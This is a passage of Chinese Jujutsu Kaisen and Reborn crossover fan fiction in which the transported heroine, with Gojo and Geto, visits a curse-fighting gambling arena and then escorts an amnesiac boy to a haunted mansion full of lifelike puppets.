两人就这样你一拳我一脚,速度快到正常人根本看不清她们的动作,每当有一个人看上去占领上风时,很快就被另一个人破解了。 来到最后几招,两人依然势均力敌,不分胜负,只见五条悟全力使出最后一招,原本努力抵抗的绿川纱夏却突然卸了力,他的拳头没有任何阻碍地朝她的脸袭去,最后,他收了力道,堪堪停留在离她脸颊一公分的位置。 “喂!你什么意思?!”五条悟不满地喊着,要不是自己反应地快,这一拳已经打到她脸上了。 “十招到了,我打不过你,我认输。”绿川纱夏眼睛都没有眨一下,潇洒地转身和他挥手道别。 如果是认真打,她确实打不过他,服输没什么不好的,更何况她还急着回去补觉呢。 五条悟脸上变化莫测,没有再去追她,视线牢牢地锁着她的背影,一副若有所思的样子。 “想什么呢!”夏油杰一把拍到他肩上,嬉笑道,“你赢了,这下满意了吧。” 五条悟冷哼一声,没有回答,转身去跑步练体能。 夏油杰也意味深长地望了一眼绿川纱夏的背影。 他有预感,接下来的日子会变得有趣起来。《 》 9、第九章 翌日清晨,五条悟一脸警觉地盯着教室门,似乎在等待着什么人,坐在他身旁的夏油杰正津津有味地吃着他带的早餐。 别人带的早餐就是好吃,夏油杰忍不住在心里感慨道。 “你在看什么呢?”他拍了拍五条悟的肩,有些不明所以。 “当然是在等那家伙啊!”后者理所当然地回答。 那家伙? 夏油杰仅用了两秒就反应过来他说的是谁。 “你对她倒是挺上心的嘛。”夏油杰意味不明地说了一句,笑着调侃他。 “那是自然。”五条悟毫不犹豫地说,丝毫没意识到他话中的深意。 这家伙实在是太奇怪了,从初遇开始猜到他的……到随身携带枪支,明明看起来只是普通的高中生,但体术却不差,连夜蛾老师认识的警察朋友都说查不到她的身份,而且他查过她那套校服和校徽,目前霓虹没有一所学校是那样子的。 她就好像是凭空出现的,不属于这里的人一样。 绿川纱夏刚走进教室,打了个哈欠,总感觉如芒在背,一扭头就发现某个白毛男子正一眨不眨地盯着自己看。 ? 她摸了摸脸,有点疑惑地问,“我脸上有东西吗?” 不应该啊,她出门前仔细检查过着装和脸,没有任何问题。 “你的衣服……” 五条悟的语气里也带上了疑惑,因为他看清楚了绿川纱夏穿的那套高专制服。 她的制服和他的没什么区别,宽松的上衣和长裤。 这也是他感到奇怪的地方。 上衣没有收束修身,下装既不是短裙也不是短裤,是会让人怀疑随便拿了套小码男生制服的程度。 “我的衣服,有什么问题?”绿川纱夏也学着他停顿了一下,心中了然他的不解。 当时制作的人还特意和她确定过一遍,因为她特地要求了宽松上衣和长裤。 她真的受够了短裙和修身上衣了,打架的时候一点也不方便,到底是哪个天才想出女生的制服是裙子的。 “没有问题。” “刷——” 教室门被猛地拉开,是夜蛾正道。 他看着教室里的人,眼里闪过一丝诧异,“今天居然没人迟到吗?” 这话指的是谁不言而喻。 夏油杰和家入硝子的目光齐刷刷地转向五条悟,绿川纱夏也跟着看过去。 五条悟一抬头发现一圈的人都在看自己,有些不满,“都看我干什么,我又没有很爱迟到。” 夏油杰和家入硝子忍不住腹诽:就怪了。 “咳咳——”夜蛾正道清咳两声,让注意力重新落回自己身上,“今天有个任务,悟和杰……还有绿川,你们三一起去吧。” 绿川纱夏挑眉,有些惊讶。 她这个半吊子也要去出任务吗? “诶——”五条悟拖长了语调,皱起眉头抱怨道,“怎么又有任务,前几天我和杰都没怎么睡好……” “放心吧,这次任务不算难,你们应该很快就可以完成。”夜蛾正道的话音中也带了些无奈,最近咒灵数量激增,任务也是成倍成倍地加。 五条悟和夏油杰拿着任务档案在看,时不时地提出疑问,夜蛾正道在一旁为他们讲解,讲到关键处还会认真提醒他们注意事项。 绿川纱夏随意听了几句,对这些东西不是很在意,忽然瞥到旁边的栗色短发女孩,她正用手撑着脸望向窗外,光打在她脸上,她琥珀般的瞳孔波澜不惊,似乎没有一点儿情绪。 “怎么了,有什么事吗?” 一道淡淡的嗓音在她耳畔响起,说话的人连头也没回。 “嗯……只是好奇,你不用出任务吗?”绿川纱夏并不藏着掖着,坦坦荡荡地问出了自己的疑惑。 “啊,我的咒术是治疗那一挂的,不太适合出任务。”家入硝子依然望着窗外,语气很平静,好像只是在阐述事实,不夹杂一丝情绪。 “这样……”绿川纱夏若有所思。 “喂!新来的,我们要走了!”五条悟站在门口回头大喊,大嗓门的忽然插入,让绿川纱夏的脸不自觉地抽了一下。 “来了。” * “话说,你们这样天天飞来飞去,有申请空域使用许可吗?”绿川纱夏再次坐上虹龙,被凛冽的风拍打着脸庞时,忽然想到了这个问题。 而且普通人看不到虹龙的话,那就只能看到几个人飘在空中,这不会引人注意吗? ? 五条悟和夏油杰不约而同地对视一眼,都看出了对方脑袋上的问号。 “这种事情根本不需要我们来担心吧,反正夜蛾老师会帮我们解决的。”五条悟头一歪,无所谓地摊摊手。 哇哦,这副不过干什么事都会有人兜底的欠揍表情,真是标准的问题小孩模样呢。 “话说我们要去哪来着?” 刚刚夜蛾正道说话的时候她一直在发呆,根本没听两句。 “啊,好像是叫凉暮月赌场吧?”五条悟仰着脑袋想了想。 “诶?我怎么从来没听说过?” 不过她也没有生活在这个世界就是了。 “是会用咒术的人才能去的赌场啦,你不知道也很正常。”夏油杰笑眯眯地补充道。 “那也就是咒术师才能去的赌场……?” 听上去好像很有意思的样子。 “不哦,有很大一部分是诅咒师。” 诅咒师,违反咒术界规则或将咒力用于满足私欲的术师,从某种意义上来说,咒术师和诅咒师就像是光与暗。 而这两方势力,居然能在一个场所里面同时出现并和平相处吗? “是在赌的过程中能用咒术作弊吗?”绿川纱夏好奇。 “到了你就知道了。”五条悟笑着卖关子。 他当——然不会提前告诉她了,虽然名字听上去很风雅,但那里可是充满血腥与暴力的地方,就连咒术界高层也没法涉足,据说背后的老板实力级强,高层在商议后只能和其达成互不干扰协议,对其中的黑暗睁一只眼闭一只眼,只要不触碰到他们的利益,他们也不想自讨没趣。 在里面,不存在咒术师或诅咒师任何一方高人一等的情况,并且任何双方的冲突都不能在赌场里面出现,如果一旦起了争执,将会被就地处决。即便侥幸逃脱,也会被赌场永久悬赏通缉,是十分不划算的买卖,因为赌场在咒术界的业务十分广泛,不只是赌场,还有拍卖行、咒具商店等一系列产业。 所以,前面说的血腥与暴力并不是指咒术师和诅咒师之间的。 凉暮月赌场赌的根本不是像扑克牌一类的东西,而是人的性命,那些能力不足被当作低等生物的人。 性命,在那里就只是牌桌上的筹码,不,有些甚至还没操控者手中的一枚筹码重,没有价值的人就会像垃圾一样被处理掉。 想到此处,五条悟的目光不由自主地落到身旁的少女身上,她正望着远处的天空出神,似乎在想些什么。 看到那种惨况,她还能保持冷静吗? 说实话,如果不是接到任务,他还真是不想去那种鬼地方呢,五条悟不禁皱了皱眉。 只是一走进去,就充满了让人想吐的气息。《 》 10、第十章 “欢迎三位大驾光临。” 三人甫一落地,一名戴着笑脸面具、身着西装的男子从黑紫色的雾气中走出,主动上前问好,大雾散去,在朱红大门的两侧分别站着一排戴着狐狸面具的和服女子,正恭敬地弯下腰鞠躬。 笑脸面具的目光在落到绿川纱夏身上的时候闪烁了一下。 绿川纱夏感受到他毫不遮掩的视线,瞥了他一眼,忍不住皱了下眉,往后退了一步。 他身上的气息,让她感觉不适。 五条悟见状,不动声色地朝她身前走了一步,高大的身子挡在她身前,也挡去了窥探的目光。 “吱呀——” 笑脸面具身后的大门似有自己的意识一般,缓缓地打开了,里面黑洞洞一片,只能依稀看到昏暗的灯光。 “三位请随我来。” 他引着三人往内走,穿过一道长长的走廊就来到了内场,里面的场景全然不似门口那么古色古香,完全是另一番天地,空中漂浮着无数银白色的巨大金属球,不知道有何用处,就在绿川纱夏东张西望的同时,其中一个金属球打开了一扇门,一名大腹便便、抽着雪茄的男人从其中出现,身后还跟着几名保镖。 见绿川纱夏目光直直地盯着金属球,夏油杰也随之望去,解释道,“啊,那个算是这里的‘包厢’,专供所谓的‘上等人’使用。” “‘上等人’?” “就是所谓的高层,不论是哪一方的。”五条悟的表情似乎很是不屑。 在他们出去做任务、拼命拯救普通人的生命时,那群烂橘子却在这推杯换盏,以掠杀作为乐趣,到头来还要道貌岸然地高谈阔论何谓“正义”。 ——多么讽刺。 想到这里,五条悟的手不自觉地攥紧,眼里愠色渐浓,看上去咬牙切齿的。 绿川纱夏的视线从他的怒容扫到攥紧的手,那双纯净的蓝眸此时正因为怒气显得异常明亮,让人轻易地联想到珍贵的宝石,她无端想到他生气的样子还挺好看的,在心里默默唾弃了一秒自己的好色属性,随即移开视线,什么话也没说。 “好啦好啦。”夏油杰揽住他的肩膀,情绪似乎一点也没受影响,“我们还是快点了解一下任务的事吧。” “嘭——” 剧烈的声响迅速吸引了三人的注意,随之而来的是激烈的欢呼声。 “就是这样,947号!我可是在你身上压了不少筹码呢!!” “可恶!!1564号不是很强的吗??我可是看他连胜了好几局才下定决心要压他的!” “比赛还没结束呢!1564号你快给我站起来!!” 三人上前走近栏杆,绿川纱夏才惊觉此处有一个巨大的下沉式竞场,不……或许也可以说是“斗兽场”。 硕大的镁光灯照亮了整个场所,人们疯狂的表情在这光线下一览无余,在竞技台的两侧,一边是人类没错,但另一边却是看上去畸形怪异的庞大生物,很明显是咒灵。 “这是……?” “这家赌场豢养了不少咒灵作为‘守兽’,而自愿参战的咒术师或是诅咒师则作为‘攻兽’进行挑战,观众可以下注一定的筹码赌其中一方胜利,如果挑战成功,则会得到巨额奖金,且在凉暮月旗下的拍卖会和商店会有优待。”五条悟的语气听上去不带任何感情,丝毫没有被这热烈的氛围感染。 “‘守兽’和‘攻兽’……” 这样的称谓,似乎是将人的身份都剥离了。 “这种大规模地豢养咒灵是合规的吗?还有,他们是怎么操纵咒灵的呢,和夏油同学的咒灵操术一样吗?”绿川纱夏疑惑,不是说咒灵操术是难得一见的咒术吗? 如果有心人对这些咒灵加以利用,足以引起规模巨大的暴乱。 “合规这一块嘛……说不清楚。” 明面上自然是不允许的,不知道背后的人使了什么手段,给了什么好处,让那些封建的老顽固默许了这种行为。 “和杰的咒灵操术当然是不一样的啦,只不过似乎这里有能够关住咒灵的空间系咒术师,在比赛前将其放出就好,这个竞技台周围有屏障能够阻挡咒灵,对于咒灵而言,只是凭本能攻击眼前的人,而杰的咒灵操术是能操纵咒灵意识本身的。”五条悟敛下眼眸,区别就在于一个是哗众取宠的战斗机器,另一个是工具。 不管是挑战者还是咒灵都以号码取名,一旦死亡,则会有新的替代。 台上的那名诅咒师身上已经是血迹斑斑,气喘吁吁地望着眼前的庞然大物,他的视线已经逐渐变得模糊,动作也愈发缓慢,一个不备,就被对面的家伙撕咬下了一只胳膊,观众席上迅速爆发出一阵欢呼声。 当然,也有一些观众垂头丧气,面露不满,不过他们不是因为一条鲜活的生命即将离开感到不忍,而是忧心自己的钱财落了空。 绿川纱夏环视一圈,发现这些都还只是此处的冰山一角,其规模之大令人咋舌。 微笑面具领着他们穿过这巨大的会场,带他们进入专属电梯。 随着数字的不断攀升,他们来到了34层。 “叮——” 电梯门缓缓开启,一个开阔的空间出现在众人的视野中。 这里四面都装了大片大片通透的落地窗,从上至下,城市的景色一览无余。 水晶吊灯洒下璀璨的光芒,地上铺满了昂贵的地毯,四处林立着高高的架子,其中摆放着无数华贵的珍宝,在最中间的办公桌前,一个银发的男人随意地靠在椅子上,眼睛闭着似是在小憩,双腿交叠架在桌上,骨节分明的手有一下没一下地摸着怀里圆滚滚的猫咪,那只银渐层慵懒地趴在他腿上,绿色的眼瞳毫不害怕地注视着突然出现的陌生人,似是在审视,又似在评判。 银发男子似有所感地睁开眼睛,那不寻常的血色眼瞳,像红宝石一般流光溢彩,令人一不小心就会沉溺其中,他的视线缓缓划过三人,然后对着她们微微一笑。 “有新客人来了吗?” “欢迎各位来到凉暮月赌场。”《 》 11、第十一章 “这位小姐,看着很面生啊。”银发男人手上摸猫的动作没有停止,笑眯眯地望向绿川纱夏。 高专经常接到凉暮月赌场的任务,所以老板对高专的人员也很熟悉。 绿川纱夏下意识和他对上视线,没急着回答对方,她总觉得这个眯眯怪看起来不像什么好人——当然这完全是出于她的直觉。 “她是新来的。”五条悟上前一步,“所以,关于任务的具体内容,可以告诉我们了吧?” 和之前不同,这次的任务详情需要等他们到现场面谈的时候才会告诉他们,五条悟不懂为什么要搞得这么神秘。 “当然——”银发男人打了个响指,他身后的书架突然缓缓打开,一个金发长发的少男坐着轮椅被推出来。 “他,就是你们的任务。” 话音刚落,夏油杰就忍不住追问,“什么意思?” “他是我前不久捡来的,什么记忆都没有,不过似乎还记得自己家的地址。”银发男人优雅地端起桌上的茶杯,轻啜一口,“所以就要麻烦各位将他送回家了。” 按理说这么简单的事情不需要找他们来做,但五条悟摘下墨镜,从上到下仔细地看过这个少男之后,却发现了一些不寻常的地方。 “我说……”夏油杰皱眉想说些什么,却被五条悟伸手拦住。 “只要把他送回家,就可以了吧?”五条悟眼神变得锐利,直直射向银发男人。 “当然——”他依然松散地靠在华贵椅子上,嘴角的弧度都不曾改变分毫,“许诺你们的报酬一分也不会少的。” 五条悟略一点头,视线划过少男光滑无暇的腿,迟疑道,“他不能行走吗?” 像是为了证明自己一样,下一秒他就从轮椅上笔直地站了起来,一脸认真地看向五条悟。 “……那为什么要让他坐在轮椅上?” “你不觉得这样子比较有趣吗?”银发男人支着脸,细长的眼睛像狐狸一样,嘴角下的一颗小痣为他平添一分魅惑之意,活脱脱像志怪书中走出的山妖精怪。 “失忆的、不能行走的少男什么的,听上去就很有故事不是吗?” 几人嘴角一抽,觉得这个赌场老板可能有什么不为人知的恶趣味。 五条悟朝金发少男招招手,示意他跟在自己身后,后者看了眼坐在主位的银发男人,在得到对方的许可之后,立马十分乖巧地跑上前。 见几人转身朝电梯走去,银发男人怀里的猫嗖一下窜下去,他用手指卷了卷自己的银色发丝,“三位不留下来一起用个饭吗?” “不用了。”五条悟懒洋洋地说,在踏进电梯门的前一瞬间忽然回头,“话说,你的名字是什么?” “名字啊……”银发男人似乎第一次听到这个问题,细细地思索了起来。 那只猫咪已经跟在五条悟身侧,正围着他转圈圈,就在他以为对方不会回答他了,准备走进电梯的时候,身后传来了一道散漫的声音。 “我叫志人哦。” * “那个赌场老板到底什么来历?”五条悟边走边问身边的夏油杰。 “不知道。”夏油杰淡淡地回复。 每次接赌场的任务要么是夜蛾老师直接告诉他们,要么是赌场的其他负责人介绍,迄今为止,他们亲眼见到这位老板还是头一回。 而且凉暮月赌场的势力越来越大了,高层那些人也会帮忙遮掩,关于这位年轻的老板,他们都一无所知。 五条悟“啧”了一声,目光转向看起来呆呆的金发少男,“你家在哪?” 他面色恍惚了一瞬,随即意识到是在和自己说话,和他报了一个偏僻的地名。 “那地方不是……?”五条悟和夏油杰下意识地对视了一眼。 绿川纱夏不知道他们在打什么哑谜,挑了下眉,“那地方怎么了?” “没什么。” 他们二人似乎不太想提的样子,也可能是不能提,不过绿川纱夏也没有什么过分的好奇心。 有时候,知道的越少反而越安全。 不过—— “不是说是只有咒术师和诅咒师才能进的地方吗?为什么观众席上会有这么多人?”绿川纱夏不解,照理来说,就算是咒术师和诅咒师相加也不应该有这么多人吧。 “这个嘛,其实普通人也是可以通过注入咒力的眼镜来看到咒灵。”夏油杰科普道,“有不少走各种关系的人拿到这种眼镜并得到赌场相关的情报,他们就可以进来了。” 这种基本上都是些有权有势的好赌之徒,赌场也乐于将这些人的钱收进自己的口袋里。 绿川纱夏露出原来如此的表情,了然地点点头。 几人乘坐虹龙来到少年说的地方,是一座看上去荒废已久的别墅。 甫一落地,就算是绿川纱夏这样刚学会掌握咒力的人,都能感受到这里弥漫着一股浓郁的、令人想要呕吐的气息,不用他们说,她也能猜想到这里以前一定发生过什么事件,或住着什么人。 别墅外面的墙上爬满了绿色的藤蔓,密密麻麻的枝叶攀附在灰蒙蒙的窗户上,几乎遮住了所有的光源,墙皮脱落了一大半,裸露的部分有灰有黄,连门口的台阶都坑坑洼洼的,布满了黄绿色的苔藓,边上散落着碎石破瓦,一看就是很久没人打理过了。 “这里就是你家?”五条悟一边抬起自己的墨镜架,一边仔细地观察着这栋别墅,“奇怪,什么也看不出来耶。” 金发少男似乎自己也有些疑惑,犹豫着点了下头。 夏油杰抬起手,打开握成拳的手心,一只散发着淡蓝色荧光的飞虫从中飞出,扇动着透明的翅膀,环绕着飞进了别墅。 见飞虫顺利飞进,夏油杰转头看了眼身边无所事事的人,“悟,在我放出萤灵的时候你就可以放下帐了。” “诶——可是你来放也来得及吧。”五条悟微微嘟起嘴不是很想干的样子,对上夏油杰隐隐透露出威胁的笑眼,他认命地并起两指,低声道,“生于黑暗,比暗更黑,残污垢秽,尽数祓除。” 透明的暗色物质在天空中迅速蔓延,直至变成一个半圆笼罩住这片土地。 “好了,我们进去吧。”五条悟两手插兜,抬腿准备向别墅走去。 夏油杰本想跟着他向前走,下一秒立马拽住五条悟,眉毛皱起,“等等,萤灵……没有意识了。” 没有意识意味着它已经被扼杀了。 萤灵虽然本身很弱小,但同时也很难被发现,许多厉害的的咒术师也不一定能注意到它。 看来这栋别墅并不像看上去的那样,里面有实力不低的咒术师……或是诅咒师的存在。 “嘎吱——” 破旧的大门从内被推开,出人意料的,并没有许多灰尘掉落。 黑漆漆的缝隙逐渐变大,五条悟和夏油杰看上去十分平静,但都做好了战斗的准备。 一只黑色玛丽高跟鞋踏出,然后是黑色的宽大裙摆,视线向上随之而来的是梳的一丝不苟的头发和一张严肃瘦削的脸庞。 “难得今天来了几位客人啊。”女人站在台阶上俯视着几人,语气傲慢,丝毫不见欢迎的意味。 “不过客人们似乎不太懂礼貌啊,不打一声招呼就放些不干净的东西进来。” 夏油杰嘴角一抽,知道她是在阴阳怪气自己放出的萤灵,他心里也有几分不爽,自己好不容易抓到和高价买来的萤灵,这么轻易就折损了一只。 “哈里斯,你怎么现在才回来?旁边这些人又是谁?”黑衣女人的视线划过金发少男,语气中透露出不满和熟稔。 看来这真是他的家。 按理说他们只要把这个人送回家就算完成任务,但是—— 金发少男一脸迷茫,似乎完全不认识黑衣女人的样子,局促地往五条悟身后躲了一下。 见状,黑衣女人的眉心皱的更深,“哈里斯,你真是太贪玩了!我早就和你说过在规定的时间内要回家!” 所以,不在规定的时间内回家,就会失忆吗? 绿川纱夏根据女人的话思考着。 夏油杰上前一步,“这位女士你好,我们是……受命将他送回来的,我们老板是他的救命恩人,特地吩咐我们要查清他的身份并保护他的安危。” 绿川纱夏瞥了他一眼,她怎么不记得老板的任务有这么长。 “受命?”黑衣女人声调尖锐,听起来很怪异,“你们想要进去?那是不可能的。这里很安全,他不需要你们的保护,你们可以走了。” 五条悟抬起了自己的胳膊,示意黑衣女人看哈里斯正牢牢地拽着他的衣袖不让他走,并摊了摊手,很有些无奈,他的表情好像在说“看吧,不是我不想走,是他不让我走”。 黑衣女人锐利的目光射向哈里斯,见其仍像弱小的动物一般寻求周围人的庇护,沉默片刻,最后露出了一个意味深长的表情,“如果你们执意想要进来的话,那就随便你们。不过,你们可要小心了,这里并不太欢迎咒术师。” 一眼就看穿了她们是咒术师这件事,说明这个女人和她看上去的一样不简单,而且绿川纱夏的直觉告诉她,这个女人并没有撒谎。 也就是说,进去对她们来说并不是一个好的选择。 这个女人是出于好心提醒她们,但很可惜,她们三人都不是胆小的人。 而且,绿川纱夏看了眼表情从平静警惕慢慢变得兴奋,眼睛都亮了几分,一看就是被挑起战意的另外两人,心里默默感慨了一句。 果然是少年啊,对于未知的、危险的事物永远怀揣着好奇心和征服欲。 黑衣女人缓缓拉开大门,五条悟带头走了进去,哈里斯紧跟在他身后,夏油杰十分绅士地让绿川纱夏先进,由自己来断后。 绿川纱夏也没和他客气,毕竟自己的战斗力确实弱,遇上什么事反倒容易成为负担。 当最后一人走进后,破旧的大门好似有意识一般,自动合上了。《 》 12、第十二章 别墅内部一片漆黑,原本可以渗入阳光的窗户全被茂密的藤蔓覆盖住了,墙上也没有壁灯,唯一的光源就是黑衣女人手中的烛灯,微弱的灯光只能照亮她身旁的一小片,对绿川纱夏来说简直形同虚设,长时间处于黑暗中让她的眼睛很不适应。 尽管看不清周围的事物,但她仍感觉如芒在背,有一种强烈的被人注视着的感觉,还不止一个人。 “这房子里……住着很多人吗?”她皱着眉头,忍不住发问。 半晌,黑衣女人才缓缓开口,模糊的声音从前头传来,“没有。” 十分简短的回答。 有这种感觉的不止她一个,五条悟和夏油杰也有同感。 但女人显然并不打算告诉他们太多,他们也只能暗自提高警惕,预防突然的袭击。 女人带她们走上二楼,长长的台阶似乎没有尽头,绿川纱夏本就看不清楚,又不知道是被什么东西绊了一下,身子立马向前扑去。 就在她闭上眼睛做好碰地的准备时,手臂被另一只有力的手抓住,让她稳住了身形,淡淡的棉花糖味道弥漫在鼻间。 察觉到她站稳了,那只大手迅速撤离,好似什么事也没发生过一样。 不止走了多久,女人终于停了下来。 她指着面前的几个房间,“你们三位就住在这吧,稍候片刻会有人请三位去餐厅用餐。” “哈里斯,你跟我来。” 女人的声音不容置疑,原本胆怯的哈里斯出人意料地顺从,没有一丝犹豫就跟在了她的身后。 微弱的烛光在黑暗中渐行渐远,三人收回视线,随意打开了一扇门走了进去。 夏油杰在墙边摸索了片刻,触碰到了开关。 “啪——” 原以为终于能重见光亮,却不曾想还是一片漆黑。 又重复尝试了几次,屋内的灯始终没有作用。 绿川纱夏轻叹了口气,再这样下去对她的眼睛可不太友好。 她抬起食指,一簇绿色的火焰包裹着她的指尖,几人的视野里逐渐出现事物。 五条悟一看到绿色的火焰,立马就想起了之前的书包被烧案,指着她咬牙切齿道,“我就知道是你干的!” 绿川纱夏眉梢一挑,斜着看他一眼,好像在说“就算你知道了又能怎么样”。 “现在不是关心这个的时候。”夏油杰一把按住五条悟,指了指她的火焰,“还可以再大些吗?” 绿川纱夏点点头,指尖的火焰骤然变大,绿色的光芒照映在三人的脸庞上。 “杰!我们可不能助长她的嚣张气焰,不就是火吗,你快放出几个能喷火的咒灵来让她好好瞧瞧!”五条悟双手握拳,忿忿不满。 夏油杰像是看问题儿童一样看着他,表情一言难尽,“悟你是不是忘了我的萤灵是什么下场了。” 要是再放出别的咒灵,以刚刚那女人的敏锐程度,一下就会被发现,难说会不会被当成挑衅。 在他们还没有探查过这个地方之前,这可不是明智之举。 而且正常来说,就算是建筑物一类没有咒力的东西,他也可以通过咒力的残渣和流向认知,但这栋房子实在是过于诡异,他居然连一点咒力都看不到。 五条悟对这个结果显然非常不满意,但又没有别的办法,只好扭过头故意不去看绿川纱夏。 绿川纱夏倒不是很在意,小孩子什么的就是爱发小脾气的。 足够明亮的光照亮了她们周围的区域,让她们终于得以窥见这个房间的一角,在角落里堆满了等人高的木偶。 他们表情各异,动作不一,有男有女,有老有少,生动的好像是真人一样。 三人走上前仔细观察着这些木偶,但都很谨慎地没有上手触摸。 离绿川纱夏最近的是一个女性木偶,金发碧眼,和哈里斯一样,典型的西方人特征,那双眼睛正一动不动地看着前方。 “做的可真像啊。”五条悟感慨道。 “确实,尤其是他们的眼睛。”夏油杰说,这些眼睛太过逼真,对视时总让他有种在看真人的错觉。 在这些人偶身上并没有发现异常,绿川纱夏便朝着房间的其他地方走去,依次是梳妆台、床和窗户。 直到走到窗户前面,她尝试着打开,本以为窗户会因为老化而无法打开,但她却很轻松地推动了窗门,密密麻麻的绿色根茎出现在她们眼前。 五条悟伸出手想去拽一下藤蔓,但在他刚碰到的一瞬间,手指上就凭空出现了一道血痕。 “这不是普通的藤蔓。” 绿川纱夏见状,立马用绿色的火焰靠近藤蔓,试图点燃它们,但它们却半点没受影响,反而她的火焰看上去暗淡了些。 “这是怎么回事?这是咒灵吗?”她扭头询问另外两人。 “不太清楚,我看不出有任何问题。”五条悟盯着手上的伤口说。 看来这房子的主人确实不一般,连他这个红外扫描仪都看不出问题。 正当几人陷入沉思时,门外响起了沉闷的敲门声。 “叩叩——” “客人们,可以用餐了。” 门一打开,就看到一张被烛光照亮的稚嫩脸庞,脸颊上布满了雀斑,红色的小卷发很是可爱,看上去和哈里斯差不多大。 女孩看见她们就像看见什么新奇事物一样,眼里放光,脸上露出了甜甜的笑容。 “莉莉安让我来叫你们吃饭。” 莉莉安,应该就是刚刚那个黑衣女人的名字。 走之前,绿川纱夏在经过角落的人偶时,特地点火又看了一眼,没想到这一眼却让她发现了不寻常之处,人僵了一瞬。 五条悟注意到她的状态有些奇怪,不动声色地向她靠近了一点。 “对了,我叫贝拉。” 女孩一蹦一跳的走在前面,兴奋地和他们说话,“我还是第一次在这遇到陌生人呢,听说是你们把哈里斯送回来的。” “哈里斯那个家伙,出去的时间也太久了,久到连自己是谁都快忘记了,幸好他现在回来了,马上就要轮到我出去啦。” “外面的世界一定很有趣吧,我可真想出去看看呢。” 女孩叽叽喳喳的像小麻雀一样,话里满是对外面的憧憬与好奇,在这片安静的空间里,她的声音显得格外清晰。 而她身后的三人则是咀嚼着她的文字,分析她的言外之意。 只要不是有认知问题,一个正常人是绝对不会因为离开家的时间太久而忘记自我。 而且,为什么等他回来了才会轮到她出去?她们不能随意进出这栋房子吗? “贝拉。” 一道严肃、饱含着警告的声音响起。 贝拉立马捂住了自己的嘴巴,低着头道歉,“对不起莉莉安,我只是有点太兴奋了。” 一行人走进餐厅,这里意外的十分亮堂,顶上的水晶吊灯散发着璀璨的光芒,墙壁上的吊灯都被点亮,桌上也摆满了蜡烛,尽管如此,绿川纱夏还是觉得气氛很阴森,有股寒气向她们袭来。 长桌的主位是一位看上去很和蔼的老人,他坐在轮椅上,脸上挂着微笑,只是不知道为什么戴着墨镜,显得有些奇怪,莉莉安在他身侧站定。 “非常感谢三位把哈里斯送了回来,他跑出去已经有段时日了。”老人招呼着他们坐下。 被点到名的哈里斯坐在他身侧的位置,脸上的表情十分复杂,看上去应该是全都想起来了。 桌上摆满了各色佳肴,还有鲜花做点缀,贝拉拿着红酒瓶往他们的高脚杯中添酒,猩红的液体倒入透明的玻璃杯中,如同新鲜的血液,莫名让人不寒而栗。 莉莉安在老人身边不断为他添菜喂汤,照理说,如果不是完全不能自理的人,不会一直由仆人喂饭。 “我是这栋房子的主人查理斯,因为我的腿伤,我已经很多年没有出去过了,一直由莉莉安打理着上下。”老人轻啜一口浓汤,“偶尔,我会让哈里斯这样的小家伙出去帮我采购东西,他们从没出去过,一时间被外面的世界迷了眼,就忘了回来。” 出去采购东西,这是个不错的理由,但几人心里却一点也没信。 “这房子里这么黑,其他人都能看得清吗?”夏油杰叉起盘里的肉,看似随意地发问。 莉莉安甩来不耐烦的目光,好似在责怪他的多嘴。 老人倒依然笑呵呵的,毫无芥蒂的模样,“大家平常都待在自己的房间里,所以外面不怎么点灯,而且莉莉安眼睛好,尽管是黑暗的环境也能看的一清二楚。” 绿川纱夏一直在低头切牛排,然后趁没人注意的时候偷偷撇到桌下,一言不发,企图降低自己的存在感。 坐在她旁边的五条悟将她的动作尽收眼底,也学着她的模样偷偷地扔肉。 夏油杰正在思考自己该如何套到更多情报时,突然感觉鞋被什么东西碰了一下,低头一看,发现是一块切的奇形怪状、沾满酱汁的牛排。 “……?” 夏油杰不解地向上看去,这才注意到两人的小动作,绿川纱夏察觉到他的目光,适时露出了一个略带歉意的笑容。《 》 13、第十三章 这顿各怀鬼胎的晚饭最后以老人身体不适率先告退的结果结束,三人再次被带回了原来的地方。 因为这次是选择夜晚休息的房间,所以三人分别进入了不同的房间。 绿川纱夏特意避开了一开始的房间,进屋后的第一件事就是点燃火焰把屋子里都检查了一圈,在确定没有人偶后才松了口气,在床上坐了下来。 刚刚真是吓了她一大跳,那一瞬间她感觉身体里的血液都被凝固住了,如果不是害怕打草惊蛇,她真的会忍不住尖叫出声…… 她本来就是一个平常碰都不敢碰恐怖片的人,如今让她亲自遇到这种事情,她真的不知道该怎么办了。 唉,什么时候才能回去啊。 她已经开始想念美好单纯的并盛町了。 就算偶尔有血腥和暴力,至少还都是她能接受的画面,现在感觉完全是从热血少年漫转到了恐怖灵异频道了啊喂!! 她相信十代目一定在为拯救她而奋斗了吧!他不是那种会对同伴不管不顾的人! 好久没有和狱寺那家伙拌嘴了,不知道他和那个棒球天然黑怎么样了。 唉,好想吃妈妈做的兔子饭,虽然不那么好吃,但是给人很安心的感觉。 说起来,她连晚饭都还没吃呢,怕饭菜里有毒,她把盘里的菜全都喂给地板吃了,现在饿意已经越来越明显了。 就在她胡思乱想的时候,门口传来了异动。 “嘎吱——” 这栋房子用的门基本上都老化的十分严重了,轻轻一碰就会发出巨大的声响。 随后是不急不慢的脚步声,在一片黑暗中对方准确地锁定了她的位置,径直向她走来。 绿川纱夏咽了口唾液,指尖微微发颤,浑身发凉,大脑都已经不太能运转了。 怎么办,这来的是什么人? 不对,来的是人吗? 想起走之前看到的人偶,她的心又凉了几分。 死气之焰对它们有用吗?刚刚那些藤蔓一点也不受影响,恐怕这些人偶也不怕。 靠,早知道他们要跟着进来的时候,她就找理由先跑路了,这房子从外面看起来就很像某些恐怖片的场景啊! 她们三就是电影里那种没事找事、一点也不听劝的主角。 脚步声越来越近,直至在她身前停下,一只手拍上了她的肩膀。 “喂,你干什么呢,怎么一动不动的?” 绿川纱夏被这触碰吓得浑身一激灵,直到反应过来这声音很熟悉,才下意识地接话,“你怎么来了?” “哈?”五条悟反问道,“难不成你还真要在这睡上一夜?” 他上下打量着她,过了一会儿才恍然大悟般,“你该不会是害怕吧?” 说出这个结论之后,他的嘴角止不住的上扬,就像是发现了什么隐秘的宝藏,没想到她的胆子居然这么小,哈,他已经想到下次该怎么整她了。 绿川纱夏没有接他的话,也意识到自己问了个蠢问题,立马起身岔开话题,“走吧。” “等等。”五条悟忽然抓住她的手腕,凑近她耳边说话,温热的气息喷洒在她脸侧,让她很不习惯,“你先告诉我,你怎么知道那件事的。” 他的声音中带着一丝不易察觉的羞涩和恼怒。 他可是好不容易找到和她独处的机会。 那件事? 绿川纱夏眼里闪过一丝疑惑,“哪件事?” 